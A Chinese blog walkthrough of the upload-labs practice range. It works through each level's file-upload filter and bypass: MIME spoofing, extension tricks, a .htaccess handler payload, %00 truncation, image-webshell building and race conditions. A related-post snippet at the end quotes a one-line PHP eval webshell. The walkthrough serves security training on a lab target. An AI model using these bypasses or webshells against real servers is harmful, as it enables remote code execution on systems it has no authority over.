upload-labs闯关

最新推荐文章于 2024-07-27 19:13:37 发布
最新推荐文章于 2024-07-27 19:13:37 发布
阅读量2.4k 收藏 1
点赞数
分类专栏： web安全测试 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_42728957/article/details/121761146
版权

下载安装

源码地址：
https://github.com/c0ny1/upload-labs
安装：
直接放在phpstudy的www目录中
在这里插入图片描述

Pass-01 js检查

源码：
在这里插入图片描述
方法一：
直接禁用js
F12—设置——禁用js
在这里插入图片描述
在这里插入图片描述
方法二：

抓包修改文件类型，上传1.png修改为1.php
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
方法三：
通过修改前端代码添加.php文件进行上传
在这里插入图片描述
方法四：
右键-查看网站源代码-全部复制-创建一个记事本-把代码放进去-把记事本名后缀改为.html-打开-删除js代码
在这里插入图片描述
如果我们打开，是有上传文件的界面，但是不知道要上传给谁。这时我们返回到最开始，右键—检查—网络—然后上传一个正常的图片。这样我们就可以看到这个文件传给谁了。
在这里插入图片描述
打开我们自己的html文件，修改action,这个action是告诉他这个图片提交给谁，因为这个源代码中没有，我们就自己加一个。
在这里插入图片描述
最后用浏览器打开我们的html文件，上传php文件即可。
在这里插入图片描述

Pass-02 MIME类型 检测

源码：
在这里插入图片描述
通过抓包，将Content-Type修改为允许上传的类型（image/jpeg、image/png、image/gif）三选一。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Pass-03 黑名单绕过

在这里插入图片描述
通过查看源码，发现不允许上传.asp,.aspx,.php,.jsp后缀的文件，可以尝试上传后缀.phtml .phps .php5 .pht的文件
修改apache的httpd.conf中的如下配置代码
在这里插入图片描述
保存，重启phpstudy
上传php5文件，成功绕过
在这里插入图片描述
在这里插入图片描述

Pass-04 .htaccess绕过

查看源码
在这里插入图片描述
在这里插入图片描述
黑名单拒绝了几乎所有有问题的后缀名，除了.htaccess
首先上传.htaccess文件

<FilesMatch "4.png">
SetHandler application/x-httpd-php
</FilesMatch>

如果文件中有一个4.png的文件，他就会被解析为.php，把这个文件上传上去。
1.首先上传.htaccess文件
在这里插入图片描述
2、上传4.png文件
在这里插入图片描述
3、成功被解析为php文件
在这里插入图片描述

Pass-05 大小写绕过

源码：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

通过查看源码，发现相比于pass-04，过滤了.htaccess,但将后缀转换为小写去掉了，因此可以使用大小绕过
直接上传5.PHP文件，即可绕过
在这里插入图片描述
在这里插入图片描述

Pass-06 空格绕过

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

相比于前两题，这题没有对后缀名进行去空，因此可以在后缀名加空格绕过
在这里插入图片描述
在这里插入图片描述

Pass-07 点绕过

源码：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

通过查看源码发现没有对后缀名末尾的点进行处理，利用windows特性，会自动去掉后缀名中最后的”.”，可在后缀名中加”.”绕过：
在这里插入图片描述
在这里插入图片描述

Pass-08 ::$DATA绕过

源码：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

通过查看源码发现没有去除字符串::$DATA

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

php+windows的情况下：如果文件名+::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持::$DATA"之前的文件名。利用windows特性，可在后缀名中加” ::$DATA”绕过：

在这里插入图片描述
在这里插入图片描述

Pass-09 点+空格+点绕过

源码：
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

通过代码分析，它没有循环验证，也就是说这些收尾去空，删除末尾的点，去除字符串::$DATA，转换为小写这些东西只是验证了一次。所以我们的绕过思路就很简单，在数据包中把后缀名改为.php. .说一下他的验证过程，首先他发现有一个点，这时会把他去掉，又发现有一个空格，也会把它去掉，我们这时还有一个点，也就是.php. 由于他只是验证一次，所以不会在去掉我们的点，这时就可以上传成功，也可以解析成功。如下图:
在这里插入图片描述
在这里插入图片描述

Pass-10 双写绕过

源码：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            $is_upload = true;
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

阅读源码可以发现，这里将把上传的文件名中所有包含黑名单字符的，全部替换为空，所以这里可以利用双写来绕过， xx.p[php]hp
在这里插入图片描述
在这里插入图片描述

Pass-11 00截断

源码：

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = '上传失败！';
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

白名单判断，但$img_path是直接拼接，因此可以利用%00截断绕过。

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

截断条件：php版本小于5.3.4，php的magic_quotes_gpc为OFF状态
在这里插入图片描述

Pass-12 00截断

源码：

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

与上一关差不多，只是save_path参数通过POST方式传递，还是利用00截断，因为POST不会像GET对%00进行自动解码，所以需要在二进制中进行修改。
在这里插入图片描述
在这里插入图片描述
上传成功

Pass-13 图片马绕过

源码：

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}

查看源码发现，通过文件的前2个字节判断文件类型，因此可以通过上传图片马进行绕过
方法一：
使用命令制作图片马
使用命令 copy 13.jpg /b + 13.php /a webshell.jpg制作图片马
在这里插入图片描述
上传文件：
在这里插入图片描述
使用文件包含漏洞测试

##include.php
<?php
/*
本页面存在文件包含漏洞，用于测试图片马是否能正常运行！
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

在这里插入图片描述
方法二：
在php文件头部写入GIF89a，并修改文件后缀为图片形式
在这里插入图片描述
在这里插入图片描述

Pass-14 getimagesize()-图片马

源码：

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}

通过源码发现，通过getimagesize函数判断文件类型，但是这个函数也是检查文件头，同样可以通过图片马绕过，方法同pass-13
在这里插入图片描述
在这里插入图片描述

pass-15 exif_imagetype()-图片马

源码：

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}

exif_imagetype() 读取一个图像的第一个字节并检查其签名，所以仍然可以通过图片马绕过，方法同pass-13、pass-14
首先开启php_exif模块
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

Pass-16 二次渲染绕过

源码：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=$UPLOAD_ADDR.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型，合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片！";
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagejpeg($im,$newimagepath);
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
            $msg = "上传失败！";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片！";
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagepng($im,$newimagepath);
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;               
            }
        }
        else
        {
            $msg = "上传失败！";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片！";
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagegif($im,$newimagepath);
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
            $msg = "上传失败！";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";
    }
}

imagecreatefromjpeg（）函数
二次渲染是由Gif文件或 URL 创建一个新图象。成功则返回一图像标识符/图像资源，失败则返回false，导致图片马的数据丢失，上传图片马失败。
进行通关
按照原来的方法进行上传，我们可以发现还是可以上传的，但是配合包含漏洞却无法解析，这时我们把上传的图片复制下来用Notepad打开，发现我们原来写的php代码没有了，这就是二次渲染把我们里面的php代码删掉了。
我们把原图和他修改过的图片进行比较，看看哪个部分没有被修改。将php代码放到没有被更改的部分，配合包含漏洞，就可以了。
使用HxD Hex Editor进行比较
下载地址：https://mh-nexus.de/en/hxd
然后比较
具体实现需要自己编写Python程序，人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的，知道怎么解就可以了。

Pass-17 条件竞争

源码：

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = $UPLOAD_ADDR . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             unlink($upload_file);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
            unlink($upload_file);
        }
    }else{
        $msg = '上传失败！';
    }
}

通过源码，发现先将图片上传上去，才开始进行判断后缀名、二次渲染，如果不是指定类型，那么删除该文件，在文件上传成功后和删除文件之前有一个时间差，如果在这个时间内访问上传的PHP文件，从而执行其中的代码

可以利用burp的intruder模块不断上传，然后我们不断的访问刷新该地址即可
在这里插入图片描述

在这里插入图片描述
修改线程
在这里插入图片描述

Pass-18 条件竞争

源码：

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload($UPLOAD_ADDR);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传，但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败，上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败，无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败，上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败，服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传，文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误！';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

方法一：上传图片马
在这里插入图片描述

在这里插入图片描述
方法二：
上面源码的代码逻辑：
1、首先接收上传的文件
2、然后判断上传的文件的文件后缀是否在白名单中
3、在白名单中，则将文件重命名
4、不在白名单则删除文件
通过不断发送请求包，直到访问shell.php成功为止

Pass-19 常见中间件解析漏洞

源码：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传失败！';
            }
        }else{
            $msg = '禁止保存为该类型文件！';
        }

    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

方法一：
move_uploaded_file()有这么一个特性，会忽略掉文件末尾的.
保存文件名可以自定义，不能直接保存为php，在php后面加一个. 成功绕过
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
方法二：上传19.jpg，在save_name处用00截断
move_uploaded_file()函数中的img_path是由post参数save_name控制的，可以在save_name利用%00截断（注意php版本低于5.3）。
完毕！
参考
https://www.cnblogs.com/chu-jian/p/15515770.html

橘子就酱
关注
专栏目录
Upload-labs闯关
a765880053的博客
03-05 177
Pass-01: 代码： function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } //定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif";
【渗透测试】--- upload-labs(1-19)闯关
qq_43168364的博客
08-22 803
第一关 1、检测方式 JS代码前端检测 2、绕过方式 Fn+F12删除前端代码的事件 3、具体步骤 上传.php文件之后给我们提示 由此猜测可能是用了js前端代码的验证，我们查看它的前端代码 这里果然有一个事件，我们将该事件删除，即可上传bug.php文件 上传解析成功 4、源码分析 第二关 1、检测方式 服务器端MIME类型检测 2、绕过方式 将我们的木马文件改名为xxx.jpg，开启bp拦截，点击上传，这样我们MIME类型就是图片的了，然后该文件名为xxx.php即可 3、具体步骤 上传重命
upload闯关.docx
05-07
学习交流
UPLOAD-LABS靶场[超详细通关教程，通关攻略]
最新发布
muyuchen110的博客
07-27 1545
Upload-labs是一个使用PHP语言编写，专门用于渗透测试和CTF中遇到的各种文件上传漏洞的靶场。目前一共20关，每个关都包含着不同上传方式。文件上传漏洞：用户可以越过其本身权限，向服务器上传可执行的动态脚本文件，例如木马、病毒、恶意脚本或者WebShell等。文件上传漏洞本身就是一个危害巨大的漏洞，WebShell更是将这种漏洞的利用无限扩大。
upload_labs闯关
qq_45951598的博客
10-29 241
第一关 这里第一关提示 然后我们可以创建一个文本文件写入一句话木马，然后把里面内容写成是一句话木马，再把文件名修改一下。 <?php eval($_POST['a']); ?> 然后上传文件，用burp修改一下后缀名为php,上传过去用蚂蚁剑连接一下就可以了。 第二关 ...
upload-labs通关手册
12-03
详细记录了upload-labs靶场的通关步骤，并且附带有caidao和burpsuite工具资源，非常适合初学者！！！
利用phpstudy搭建upload-labs，并进行闯关
qq_45970858的博客
10-29 1045
搭建upload-labs Upload-labs是一个帮你总结所有类型的上传漏洞的靶场，包括常见的文件上传漏洞 进入网页开始闯关 发现并未植入php木马 抓包完成，点击鼠标右键，选择send to repeater 找到repeater一栏，点击go,发现上传失败，将Content-Type：后面改成 image/jpeg，继续点go，成功上传文件 找到这行代码，则表示上传成功 访问网站，植入木马成功，后面接unload/shell.php（自己上传的文件名） ...
upload-labs 第四关-第九关闯关方法
qq_62673514的博客
02-23 1097
upload-labs 第四关-第九关闯关方法
upload-labs通关
qq_53218512的博客
07-23 516
查看源码可以发现使用了getimagesize()函数对图片进行检验，getimagesize()的作用是该函数将测定任何 GIF，JPG，PNG，SWF，SWC，PSD，TIFF，BMP，IFF，JP2，JPX，JB2，JPC，XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。本关会将上传的图片重新另存一份，所以图片中的php代码会消失。， 是设定某种扩展名的文件用一种应用程序来打开的方式类型，当该扩展名文件被访问的时候，浏览器会自动使用指定应用程序来打开。
upload-labs 通关
cgygsw的博客
11-26 1199
1.这里的关键点就是htaccess文件，把所有的目录下的文件的解析方式都修改成了php。2.所以我们第二次上传的图片为2.png “png”不在黑名单中，但是htaccess文件又把他解析成了php的格式，所以可以正常的解析。
文件上传漏洞学习——upload-labs 闯关（一）
未完成的歌~的博客
08-08 2520
Less 1—10 写的很详细！╰(￣ω￣ｏ) 后面的会继续更新。
upload-labs18关
qq_46527080的博客
12-25 2408
漏洞介绍 条件竞争漏洞是一种服务器端的漏洞，是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。当应用面临高并发的请求时未能同步好所有请求，导致请求与请求之间产生等待时出现逻辑缺陷。该漏洞一般出现在与数据库系统频繁交互的位置，例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置，例如文件的操作处理等。 首先将文件上传到服务器，然后检测文件后缀名，如果不符合条件，就删掉，典型的“引狼入室”。 第十八关（条件竞争） 源码分析 首先准备一个创建shell的php <?php fputs
upload-labs通关集
lceFIre的博客
09-08 1901
upload-labs通关集环境第一题 前端js检查第二题 content-type类型绕过第三题 黑名单绕过第四题 .htaccess绕过第五题 大小写绕过第六题 空格绕过第七题 点绕过第八题 ::$DATA绕过第九题 只过滤了一次且对后缀没有重命名的绕过第十题 双写绕过第十一题 get型%00截断第十二题 post型%00截断第十三题 文件头检查第十四题 突破getimagesize第十五题 ...
upload1-21闯关
qq_43709121的博客
05-07 332
UPLOAD1-21闯关 环境：windows php5.2.17 apache2.4.23 01： 分析：前端过滤，只允许上传jpg\png\gif文件 上传：准备一张图片，编辑器打开，在末尾多写入几句<?php phpinfo();?>，然后上传，抓包，将文件修改为.php文件，上传成功后访问即可 02： 分析：代码对文件的content-type进行了验证，并且按原文件名上传到服务器 上传：准备一张图片，编辑器打开，在末尾多写入几句<?php phpinfo();?>，然
文件上传漏洞学习——upload-labs 闯关（二）
未完成的歌~的博客
08-14 690
接着上篇的总结 （=￣ω￣=） Less-11—20
文件上传之upload-labs闯关—白盒审计
内心不种满鲜花就会长满杂草
02-15 1384
先补充前置知识 $_FILES PHP 的全局数组 $_FILES，通过其我们可以向服务器上传文件。全局意味着我们可以在任何位置访问到这个变量 1. 建立一个 form.html 演示上传文件，其中的代码如下： <html> <head></head> <body></body> <form enctype="multipart/form-data" action="upload_file.php" method="POST"...
UPLOAD-LABS通关记录
m0_74834253的博客
03-15 1219
用php语言编写的靶场，它专门用于收集渗透测试和CTF（Capture The Flag）竞赛中遇到的各种文件上传漏洞。其目的是为了帮助使用者全面了解和学习有关文件上传漏洞的知识。目前该平台共有20个关卡，我自己补充了一个新的关卡。其次这个靶场我是通过phpstudy软件在Windows操作系统上构建的，可能一些关卡在Linux上是完成不了的请注意。下面就来开始Game.
sqli-labs闯关
10-09
